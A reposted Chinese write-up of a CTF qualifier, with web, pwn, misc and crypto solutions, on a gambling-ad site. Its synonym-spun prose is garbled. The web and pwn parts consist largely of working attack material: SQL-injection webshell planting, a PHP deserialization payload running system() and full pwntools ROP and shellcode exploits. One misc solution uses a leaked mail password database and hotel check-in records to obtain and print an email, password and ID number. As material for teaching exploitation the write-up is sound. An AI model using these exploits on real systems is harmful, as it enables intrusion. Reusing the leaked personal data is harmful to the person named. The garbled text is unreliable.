欢迎访问Sunbet官网(sunbet),Allbet欧博官网(ALLbetgame)!

首页Sunbet_行业观察正文

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup

de64384a174e12dc2020-10-11212行业

第三届4.29都城收集平安日“安恒杯”收集平安手艺大赛预赛writeup

作者:杭州安恒平安研讨院攻防研讨部


WEB

Web 150 web1

问题形貌

You are not a administrator

解题历程:

注册用户并登录,我们发明网站推断用户是不是登录并非用session,而是用uid和username,内容被加密。

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第1张

将cookie的username内容替代成uid,发显着现的用户命变成了uid,可以或许推想网站是依据uid推断用户的。

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第2张

由于我们不晓得加密历程没法间接修正cookie内容,然则我们可以或许经由过程加密的username来替代uid。

要领1:注册用户名为1到1000的用户,一一登录后将uid内容替代为username内容。然则经测试,注册有效户名长度限定长度必需大于即是三位数。法1有效。

经测试,我们注册用户名为12abc的用户,登录后替代uid可胜利登录uid为12的用户。以是有法2.

要领2:注册用户名为1abc到1000abc的用户,一一登录后将uid内容替代为username内容。直至登录***账户。


第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第3张

Web 200 web2

问题形貌:

How to be a good modeling agent

解题历程:

注册用户并登录,发明链接中:/index.php?action=view&mod=index&by=age的by参数存在SQL注入。

接见一般:./index.php?action=view&mod=index&by=age`%20AS%20DECIMAL)%23

盲注测试发明数据库内无有效数据。

实验导出数据:./index.php?action=view&mod=index&by=id`%20AS%20DECIMAL)%20desc%20into%20outfile%20%27/var/www/html/evil.php%27%23

测试发明可以或许导出数据到文件,实验往数据中拔出一句话代码。

测试发明拔出数据类型只经前端校验,可拔出字符串,然则字符串有长度限定。以是须要屡次提交数据拼接出一句话。

举例:

分四次提交

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第4张

导出数据:

./index.php?action=view&mod=index&by=id`%20AS%20DECIMAL)%20desc%20into%20outfile%20%27/var/www/html/evil.php%27%23

发明web根目次不可写,检察网页源代码,存在upload目次,测试发明upload目次是可写的,用异样的体式格局将数据导出到upload目次上面,天生一句话木马,衔接后查找flag,发明在flag在upload目次上面。



Web 350 web3

问题形貌:

bugs.php.net

解题思绪:

检察phpinfo.php,可以或许发下session的序列化体式格局和index.php序列化体式格局分歧,存在反序列化破绽。

参考:https://bugs.php.net/bug.php?id=71101

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第5张

检察class.php文件代码可发明可以或许组织出可致使敕令实行序列化字符串。

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:30:"system("ls -a /var/www/html");";}}}

如今我们须要找到可以或许修正session的中央,经由过程phpinfo可以或许发明session.upload_progress.enabled是翻开的,如:文件名可控。

参考:http://php.net/manual/zh/session.upload-progress.php


上传文件页面:

用抓包软件修正上传数据包,将filename修正为filename=”|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:30:\"system(\"ls -a /var/www/html\");\";}}}”

接见index.php,列出文件目次,找出flag文件。

再次抓包上传,filename修正为filename=”|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:27:\"system(\"cat flag_xxx.php\");\";}}}”

接见index.php猎取flag


PWN

PWN 250 pwn1

解题历程:

经由过程实行顺序,反汇编,可晓得顺序的基础流程

在main函数中输出name,在选项3显现信息函数中会复制到一个小的buffer中,这就会形成一个栈溢出

本题只是开启了 aslr 和 nx

-----------------

junmoxiao@sky:~/Desktop/pwn1/pwn1$ file pwn1

pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=13fb2471bbed2920aa16efa1396f1a6feab1603f, not stripped


经由过程反汇编可以或许看到顺序中运用的system@PLT

同时可以或许找到顺序中存在"sh\x00"字符串

用system@PLT掩盖前往地点,部署好参数便可取得shell

Exp应用代码以下:


from pwn import *


system_got_plt = 0x080484b0

system_arg = 0x80482ea


offset = 140


payload = 'a'*140+p32(system_got_plt)+'b'*4+p32(system_arg)


#p = process("./pwn1")

p = remote('120.27.144.177', 8000)

p.recvuntil("name:")

p.sendline(payload)

p.recvuntil(":")

#raw_input("debug")

p.sendline("1")


p.interactive()



PWN 350 pwn2

解题历程:

junmoxiao@sky:~/Desktop/pwn2$ file pwn2

pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=165406f6fe59dfae55d7129b5ef7ca58bf115353, not stripped

经由过程剖析可知顺序的基础流程

1 顺序先请求输出实行运算的次数,然后会分派次数*4的堆空间来安排运算效果

2 然后每次请求挑选一种运算,加减乘除或许挑选生存效果并完毕

3 在生存时会将效果复制到main中的一个四十字节的buffer中去,就形成了栈溢出


应用

此顺序是静态编译的,没有静态链接的历程,以是只能斟酌组织rop链

不外可以或许看到顺序中含有这些代码

junmoxiao@sky:~/Desktop/pwn2$ readelf -s pwn2 | grep exec

896: 080b90e0 2311 FUNC LOCAL DEFAULT 6 execute_cfa_program

900: 080ba220 1884 FUNC LOCAL DEFAULT 6 execute_stack_op

1194: 080a2480 88 FUNC GLOBAL DEFAULT 6 _dl_make_stack_executable

2213: 080ea9f4 4 OBJECT GLOBAL DEFAULT 24 _dl_make_stack_executable


gdb-peda$ disassemble _dl_make_stack_executable

Dump of assembler code for function _dl_make_stack_executable:

0x080a2480 <+0>: push ebx

0x080a2481 <+1>: mov ebx,eax

0x080a2483 <+3>: sub esp,0x18

0x080a2486 <+6>: mov edx,DWORD PTR [eax]

0x080a2488 <+8>: mov eax,ds:0x80eaa08

0x080a248d <+13>: mov ecx,eax

0x080a248f <+15>: neg ecx

0x080a2491 <+17>: and ecx,edx

0x080a2493 <+19>: cmp edx,DWORD PTR ds:0x80e9fc4

0x080a2499 <+25>: jne 0x80a24c7 <_dl_make_stack_executable+71>

0x080a249b <+27>: mov edx,DWORD PTR ds:0x80e9fec

0x080a24a1 <+33>: mov DWORD PTR [esp+0x4],eax

0x080a24a5 <+37>: mov DWORD PTR [esp],ecx

0x080a24a8 <+40>: mov DWORD PTR [esp+0x8],edx

0x080a24ac <+44>: call 0x806dd50

0x080a24b1 <+49>: test eax,eax

0x080a24b3 <+51>: jne 0x80a24ce <_dl_make_stack_executable+78>

0x080a24b5 <+53>: mov DWORD PTR [ebx],0x0

0x080a24bb <+59>: or DWORD PTR ds:0x80ea9f8,0x1

0x080a24c2 <+66>: add esp,0x18

0x080a24c5 <+69>: pop ebx

0x080a24c6 <+70>: ret

0x080a24c7 <+71>: mov eax,0x1

0x080a24cc <+76>: jmp 0x80a24c2 <_dl_make_stack_executable+66>

0x080a24ce <+78>: mov eax,0xffffffe8

0x080a24d3 <+83>: mov eax,DWORD PTR gs:[eax]

0x080a24d6 <+86>: jmp 0x80a24c2 <_dl_make_stack_executable+66>

End of assembler dump.

gdb-peda$

我们可以或许运用mprotect将栈设置为可实行的,然后将我们的shellcode间接放在栈上实行便可


然后就是找gadget的历程


########################### set __stack_prot = 0x7


g1 = 0x080a1dad # mov dword [edx], eax ; ret ;

g1_1 = 0x080bb406 # pop eax ; ret ;

g1_2 = 0x0806ed0a # pop edx ; ret ;

stack_prot = 0x80e9fec


########################### invoke _dl_make_stack_executable


g2 = 0x080a2480 # _dl_make_stack_executable

g2_1 = 0x080bb406 # pop eax ; ret ;

libc_stack_end = 0x80e9fc4


########################### jump to shellcode


g3 = 0x080c09c3 # jmp esp ;


然后顺次部署便可,详细的历程可以或许参考exp。

Exp应用代码以下:

from pwn import *

import struct

import math


#context.log_level = 'debug'

context.timeout = 10000


def conv_scode():

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#shellcode = "\x20"*28

#shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

pad = (int(math.ceil(len(shellcode)/4.0))*4) - len(shellcode)

for i in range(0, pad):

shellcode += '\x00'

n = len(shellcode)/4

return struct.unpack('<' + 'I'*n, shellcode)


def fill_pad(p):

p.recvuntil('result\n')

p.sendline('2')

p.recvuntil('x:')

p.sendline('1')

p.recvuntil('y:')

p.sendline('1')


########################### set __stack_prot = 0x7


g1 = 0x080a1dad # mov dword [edx], eax ; ret ;

g1_1 = 0x080bb406 # pop eax ; ret ;

g1_2 = 0x0806ed0a # pop edx ; ret ;

stack_prot = 0x80e9fec


########################### invoke _dl_make_stack_executable


g2 = 0x080a2480 # _dl_make_stack_executable

g2_1 = 0x080bb406 # pop eax ; ret ;

libc_stack_end = 0x80e9fc4


########################### jump to shellcode


g3 = 0x080c09c3 # jmp esp ;


shellcode = conv_scode()



p = remote('114.55.55.104', 7000)

#p = process('./pwn2')


p.recvuntil('calculate:')

p.sendline('255')


for i in range(0, 16):

fill_pad(p)


# set __stack_prot = 0x7

p.recvuntil('result\n')

p.sendline('1')

p.recvuntil('x:')

p.sendline(str(g1_1))

p.recvuntil('y:')

p.sendline('0')


p.recvuntil('result\n')

p.sendline('2')

p.recvuntil('x:')

p.sendline('100')

p.recvuntil('y:')

p.sendline('93')


p.recvuntil('result\n')

p.sendline('2')

g1_2 += 100

p.recvuntil('x:')

p.sendline(str(g1_2))

p.recvuntil('y:')

p.sendline('100')


p.recvuntil('result\n')

p.sendline('2')

stack_prot += 100

p.recvuntil('x:')

p.sendline(str(stack_prot))

p.recvuntil('y:')

p.sendline('100')


p.recvuntil('result\n')

p.sendline('2')

g1 += 100

p.recvuntil('x:')

p.sendline(str(g1))

p.recvuntil('y:')

p.sendline('100')


# invoke _dl_make_stack_executable

p.recvuntil('result\n')

p.sendline('2')

g2_1 += 100

p.recvuntil('x:')

p.sendline(str(g2_1))

p.recvuntil('y:')

p.sendline('100')


p.recvuntil('result\n')

p.sendline('2')

libc_stack_end += 100

p.recvuntil('x:')

p.sendline(str(libc_stack_end))

p.recvuntil('y:')

p.sendline('100')


p.recvuntil('result\n')

p.sendline('2')

g2 += 100

p.recvuntil('x:')

p.sendline(str(g2))

p.recvuntil('y:')

p.sendline('100')


#raw_input('debug')


# jump to shellcode

p.recvuntil('result\n')

p.sendline('2')

g3 += 100

p.recvuntil('x:')

p.sendline(str(g3))

p.recvuntil('y:')

p.sendline('100')


for scode in shellcode:

p.recvuntil('result\n')

p.sendline('1')

print(hex(scode))

p.recvuntil('x:')

p.sendline(str(scode))

p.recvuntil('y:')

p.sendline('0')


#trigger vul

p.recvuntil('result\n')

p.sendline('5')


p.interactive()

PWN 450 pwn3

解题历程:

junmoxiao@sky:~/429$ file pwn3pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fc6dc9a340c9884533a3b318591be4695f88f16, not strippedgdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partialjunmoxiao@sky:~/429$ objdump -R pwn3pwn3: 文件花样 elf32-i386DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__0804a060 R_386_COPY stdout0804a00c R_386_JUMP_SLOT printf0804a010 R_386_JUMP_SLOT fflush0804a014 R_386_JUMP_SLOT puts0804a018 R_386_JUMP_SLOT system0804a01c R_386_JUMP_SLOT __gmon_start__0804a020 R_386_JUMP_SLOT exit0804a024 R_386_JUMP_SLOT __libc_start_main0804a028 R_386_JUMP_SLOT memset0804a02c R_386_JUMP_SLOT __isoc99_scanf

经由过程剖析可知顺序的基础流程

顺序先请求输出名字,然后会请求输出十次index和value,若是value大于9就会间接加入,但接收索引这个参数是int型,存在整数溢出,以是可以或许掌握数据掩盖前往地点。


然后可以或许组织chain以下便可猎取shell

scanf@plt

ret(pop pop ret)

address of %9s

data段地点

system@plt

添补

data段地点

exp应用代码以下:

from pwn import *


#context.log_level = 'debug'


#r = remote('127.0.0.1', 7000)

r = process('./pwn3')

r.recvuntil('name \n')

r.sendline('123')


#raw_input('debug')

r.recvuntil('index\n')

r.sendline(str(-2147483648 + 14))

r.recvuntil('value\n')

r.sendline(str(int('8048470', 16)))


r.recvuntil('index\n')

r.sendline(str(-2147483648 + 15))

r.recvuntil('value\n')

r.sendline(str(int('0x080487de', 16)))


r.recvuntil('index\n')

r.sendline(str(-2147483648 + 16))

r.recvuntil('value\n')

r.sendline(str(int('804884b',16)))


r.recvuntil('index\n')

r.sendline(str(-2147483648 + 17))

r.recvuntil('value\n')

r.sendline(str(int('804a030', 16)))

----------------------------------------------

申博|网络安全巴士站【https://www.bus123.net/】

申博|网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。。

----------------------------------------------


r.recvuntil('index\n')

r.sendline(str(-2147483648 + 18))

r.recvuntil('value\n')

r.sendline(str(int('8048420', 16))) #system


r.recvuntil('index\n')

r.sendline(str(-2147483648 + 19))

r.recvuntil('value\n')

r.sendline(str(int('804a030', 16)))


r.recvuntil('index\n')

r.sendline(str(-2147483648 + 20))

r.recvuntil('value\n')

r.sendline(str(int('804a030', 16)))


r.recvuntil('index\n')

r.sendline(str(-2147483648 + 21))

r.recvuntil('value\n')

r.sendline(str(int('8048420', 16)))


r.recvuntil('index\n')

r.sendline(str(-2147483648 + 22))

r.recvuntil('value\n')

r.sendline(str(int('8048420', 16)))


r.recvuntil('index\n')

r.sendline('-1')

r.recvuntil('value\n')

r.sendline('10')


r.recvuntil('0 0 0 0 0 0 0 0 0 0 ')

r.sendline('/bin/sh')


r.interactive()



PWN 450 pwn4

解题历程:

剖析顺序

起首剖析顺序

可以或许看到先是一个verify函数,必需绕过

Verify以后供应了四个功用

create delete modify query

verify函数

ida进入后可以或许看到md5的字样,预测是md5加密,剖析可知,key就是将先输出的用户名停止md5天生的,随意找一对便可

admin

21232f297a57a5a743894a0e4a801fc3

发明破绽

经由过程运用顺序功用,对比ida天生的伪c代码,可以或许剖析出四个函数的功用

1 create 可以或许建立文件,文件内容巨细限定在50字节

2 delete 没有甚么用途

3 modify 可以或许对指定文件停止修正,请求输出文件名,内容,内容巨细,此处内容长度限定在300字节之内

4 query 在此处会将文件内容复制到query函数的一个当地变量中,巨细为50字节

剖析完功用就可以或许发明只需我们先随意建立一个文件,然后应用modify函数修正文件内容凌驾50个字节,然后挪用query函数就可以或许掩盖栈中的内容

破绽应用

应用peda的checksec功用可以或许发明顺序只是开启了nx进攻,我们如今曾可以或许掩盖前往地点了,可以或许运用rop手艺绕过nx。同时关于体系的aslr,我们可以或许经由过程泄漏内存找到我们想要运用的实行敕令的函数,好比system,execve等

实验性的输出300个a,经由过程调试可以或许发明从第七十二个字节最先就是体系的前往地点

起首我们是要运用pwntools的dynelf功用找到敕令实行函数的地点

注重,64位顺序挪用函数时,前六个参数顺次生存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,运用ROPGadget可以或许看到顺序中没有间接pop rdi,pop rsi,pop rdx,ret这类,以是我们要应用__libc_csu_init()

objdump –d pwn2可以或许看到以下代码

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第6张

可以或许看到,我们可以或许经由过程在栈中部署数据从而将其放入寄存器

从而组织rop链以下

payload1 = "a"*72

payload1 += p64(0x402666)+ p64(0) +p64(0) + p64(1) + p64(got_write) + p64(64) + p64(address) + p64(1)

payload1 += p64(0x402650)

payload1 += "\x00"*56

payload1 += p64(menu)

由于我们rop gadget中是callq *(%r12,%rbx,8)跳转的,以是须要运用got表中的函数地点,同时也要将敕令实行函数的地点传入某个地点

我们可以或许运用read函数,将敕令实行函数的地点和/bin/sh\0放入顺序中,给read函数传参的要领同上,read的地点可以或许运用got表中read的地点

最初则是挪用敕令实行函数,挪用要领同上

Exp应用代码以下:

from pwn import *


#context.log_level = 'debug'

context.timeout = 10000


elf = ELF('./pwn')

plt_write = elf.symbols['write']

plt_read = elf.symbols['read']

got_write = elf.got['write']

got_read = elf.got['read']


bss_addr = 0x603154

#bss_addr = 0x6030a0

menu = 0x400e0f


io = process("./pwn")

io = remote("172.16.80.204", 8888)


io.recvuntil("name:")

io.sendline("admin")

io.recvuntil("key:")

io.sendline("21232f297a57a5a743894a0e4a801fc3")

io.recvuntil("*************")

io.sendline("1")

io.recvuntil("name:")

io.sendline("q")

io.recvuntil("content:")

io.sendline("q")

#raw_input("ggggggggggggggg")

def communicate():

global io

io.recvuntil("*******")

io.sendline("3")

io.recvuntil("Modify:")

io.sendline("q")

io.recvuntil("name:")

io.sendline("q")

io.recvuntil("contents:")


def leak(address):

global io

communicate()

payload1 = "a"*72

payload1 += p64(0x402666)+ p64(0) +p64(0) + p64(1) + p64(got_write) + p64(64) + p64(address) + p64(1)

payload1 += p64(0x402650)

payload1 += "\x00"*56

payload1 += p64(menu)

io.sendline(payload1)


io.recvuntil("length:")

io.sendline("300")

io.recvuntil("********")


io.sendline("4")

io.recvuntil("query:")

io.sendline("q")


data = io.recvuntil("*")[-65:-1]

print "%#x => %s" % (address, (data or '').encode('hex'))

return data


d = DynELF(leak, elf=ELF('./pwn'))


system_addr = d.lookup('execve', 'libc')

print "system_addr=" + hex(system_addr)


#sending payload2


payload2 = "a"*72

payload2 += p64(0x402666) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)

payload2 += p64(0x402650)

payload2 += "\x00"*56

payload2 += p64(menu)

#raw_input("gggggg")

communicate()

print "|"*40 + "sending payload2"

io.sendline(payload2)


io.recvuntil("length:")

io.sendline("300")

io.recvuntil("********")


io.sendline("4")

io.recvuntil("query:")

io.sendline("q")


io.sendline(p64(system_addr) + "/bin/sh\0")


#sending payload3


payload3 = "a"*72

payload3 += p64(0x402666) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)

payload3 += p64(0x402650)

payload3 += "\x00"*56

payload3 += p64(menu)


#raw_input("ggggggggg")

communicate()

print "|"*40 + "sending payload3"

io.sendline(payload3)


io.recvuntil("length:")

io.sendline("300")

io.recvuntil("********")

io.sendline("4")

io.recvuntil("query:")

io.sendline("q")


io.interactive()


MISC

MISC 200 幽静之城

问题形貌:

听说近来出题人对《幽静之城》这篇小说异常出神:https://www.douban.com/group/topic/5221588/。你能经由过程这点线索发明甚么?hacking to the gate!

解题历程:

依据问题,很显着,这题应该是一个社工问题,翻开问题给的网址,还真是一篇小说!还迥殊长,岂非真的要让我们看完小说然后从小说中找线索吗?要真是如许就坑爹了,间接跳过小说内容,看看有甚么其他的线索,发明上面有回应,引荐,喜好,细致看看,说不定有线索,

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第7张

等等,彷佛在喜好一栏发明了点甚么:

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第8张

昵称是出题人,要不要这么显着。。。点出来检察出题人材料,发明还真是出题人!

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第9张

失掉很主要的信息,起首是出题人的163邮箱,然后是一段密文,看起来像是AES或许DES加密的,然后提醒说秘钥就是邮箱的暗码。163的库刚放出来就拿来出题还真是与时俱进啊!经由一番的搜刮终究找到weiluchuan12341127@163.com对应的暗码是63542021127,

对密文停止解密,失掉一个微博地点:http://weibo.com/u/3192503722

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第10张

接见微博地点,发明一条微博

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第11张

得知出题人名叫DJ,继承找找发明其他线索

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第12张

发明出题人在10年开过房,又是一条线索。然后又发明上面一段症结的提醒:

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第13张

如今好了,flag就在面前了,如今曾有了密钥,还差身份证号码了,晓得了出题人的名字,和开房时候,果断去查开房纪录啊!为了出这道题我也是拼了啊!不外不是我的身份证号。同名的罢了

最初查到身份证号码为:310104199208314813

搞定:flag为:31010419920831481363542021127





MISC 250 我爱Linux

问题形貌

你晓得Linux上面有哪些好玩的敕令吗?好比sl,另有哪些呢?

解题历程:

下载附件,翻开文件,发明一张图片,然则图片打不开,能够曾破坏,用十六进制翻开图片,果然是文件头破坏了!

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第14张

明显是jpg的文件,倒是png的文件头,修复文件头,行将文件头89 50 4e 47改成ff d8 ff e0,从新翻开图片,显现一般,然则flag在哪!

归去继承看看图片二进制,发明末端有新鲜的数据:

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第15张

觉得这段数据有好强的纪律性,然则不晓失掉底是甚么数据,继承看图片,彷佛在哪见过这帮人,百度识图一下,

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第16张

相识Python汗青的人晓得,Python的定名就是依据这个马戏团定名的,看来图片前面的这段数据跟Python有关了,细致想一想,Python中将数据生存成二进制还这么有纪律的,最经常使用的就是Python序列化文件了,随意天生一个Python的序列化文件,看看二进制是甚么样的,

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第17张

曾很显着了,图片前面的数据就是Python的序列化文件!依据序列化文件的文件头80 03提掏出图片中的序列化文件,编程加载数据。

import pickle


with open('dump1', 'rb') as f:

data = pickle.load(f)


for d in data:

print(d)

看看究竟是甚么数据:

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第18张

彷佛是坐标,每一个序列由许多元组构成,元组的第一个元素是地位,第二个元素是字符,依照这个思绪,编写代码,看看会打印出甚么图案来。

import pickle


with open('dump1', 'rb') as f:

data = pickle.load(f)


new_data = list()


for i in range(len(data)):

tmp = [' ']*100

new_data.append(tmp)


for i, d in enumerate(data):

for m in d:

new_data[i][m[0]] = m[1]


for i in new_data:

print(''.join(i))

运转效果以下:

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第19张

这题出的不难,为了防备做弊,有多个附件,多个flag。出题灵感实际上是依据Linux上面的一个风趣的的敕令toilet:

如今晓得题干的意义了吧,问题为何叫我爱Linux了。.


第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第20张


MISC 450 黑科技

问题形貌

听说外洋有黑科技可以或许经由过程振动复原声响,要不人人也尝尝?已知framerate=48000, nframes=1194240

解题历程:

下载附件,翻开图片,以下:

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第21张

依据问题给的参数,和图片上的图形,一眼就晓得是甚么意义了,这是一段音频阁下声道的音轨图,我们的企图是想让选手依据音轨图和参数编程复原出音频,flag就在音频中,出题灵感来自于《用Python做迷信盘算》中这本书中!就在实战篇第一章!

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第22张

上面是从音频天生图片的代码:

import wave

import pylab as pl

import numpy as np

# 翻开WAV文档

f = wave.open(r"flag.wav", "rb")


# 读取花样信息

# (nchannels, sampwidth, framerate, nframes, comptype, compname)

params = f.getparams()

nchannels, sampwidth, framerate, nframes = params[:4]

print(params)

# 读取波形数据

str_data = f.readframes(nframes)

f.close()


#将波形数据转换为数组

wave_data = np.fromstring(str_data, dtype=np.short)

wave_data.shape = -1, 2

wave_data = wave_data.T

time = np.arange(0, nframes) * (1.0 / framerate)


# 绘制波形

pl.subplot(211)

pl.plot(time, wave_data[0])

pl.subplot(212)

pl.plot(time, wave_data[1], c="g")

pl.xlabel("time (seconds)")

pl.show()

不消改,可以或许间接用,将音频转化为图片。然则逆向归去,将图片转化为音频,难度确切有点大,起首要图像识别,失掉每一个点的坐标,再依据给定的帧率,参数复原出也许的音频,听出flag。由于代码行数较多,这里不供应代码,有兴致的同砚可以或许本身查找相干材料,编写解题代码。


CRYPTO

Crypto 250 LazyAttack

问题形貌:

An8-digit number password ,what's that? Attack!

解题历程:

依据问题提醒,猎取八位秘钥,预测是某种加密要领,正好Des是个中一种。

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第23张

编写Des源码,斟酌到八位数字爆破速率比较慢,则须要多线程分流。

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第24张

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第25张

此处应注重到,暴力破解没法肯定明文内容,以是可想到首字母有多是f(由于flag{}),在不是迥殊长的时候可以或许跑出flag



Crypto 400 MagicianV

问题形貌:

Find the magician V,she is a cheat!

解题历程:

依据问题,预测是维吉尼亚,由于维吉尼亚曾号称抗频次,然则可以或许经由过程异常规意义的频次进击去剖析。

起首我们发明相反字符串,盘算相反字符串长度和字符串相隔呈倍数干系,则预测秘钥长度为此长度。

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第26张

依照秘钥长度x,将第n*x个字母掏出构成一个表,统计频次,与附件供应频次表对比。

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第27张

替代一切n*x的地位上的对应的字母。发明文章最下方涌现flag中字母被一一替代。 提交flag


第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第28张


Crypto 350 RsaRoll

问题形貌:

RSA roll! roll! roll!Only number and a-z( don't use editor

which MS provide)

解题历程:

依据问题提醒,相识到是Rsa算法,由于在夸大Roll,可以或许预测是已知明文轮回进击

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第29张

猎取附件中数组,提醒不要用微软自带的编辑器,翻开后猎取公钥,和每一个字母加密的明文。

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第30张

经由过程rsa加密,用公钥对单字母的密文一一轮回加密。直到猎取可见字母的数字( 102)

第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup  行业 第31张

将一切数字转成ascii字母情势,可打印出flag

上一篇 : 猜猜谁是收集平安攻防手艺的王者 ----第三届4.29都城收集平安日暨“安恒杯” 收集平安手艺大赛预赛美满谢幕

下一篇 : 都城收集平安日倒计时:网安划子绝不能翻

您能够感兴致的资讯  第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup 行业 第32张
中远海运美国公司遭受讹诈软件沾染
 第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup 行业 第33张
兵工巨子BAE Systems构建“环球情报网”
 第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup 行业 第34张
纽约市9家B&BHG餐厅POS体系沾染,致主顾领取卡数据泄漏
 第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup 行业 第35张
印度行将履行收集中立法,一切效户一致享用互联网
 第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup 行业 第36张
CNCERT 2018年中国收集平安年会征文关照
 第三届4.29都城网络安全日“安恒杯”网络安全手艺大赛预赛writeup 行业 第37张
​《2018年夏日互联网生长状态平安申报:Web进击》:旅店服务行业面对僵尸收集的围攻
----------------------------------------------

申博|网络安全巴士站【https://www.bus123.net/】

申博|网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。。

网友评论

1条评论
  • 2020-10-11 00:00:16

    欧博网址www.mmsff.com欢迎进入欧博网址(Allbet Gaming),欧博网址开放会员注册、代理开户、电脑客户端下载、苹果安卓下载等业务。看得心动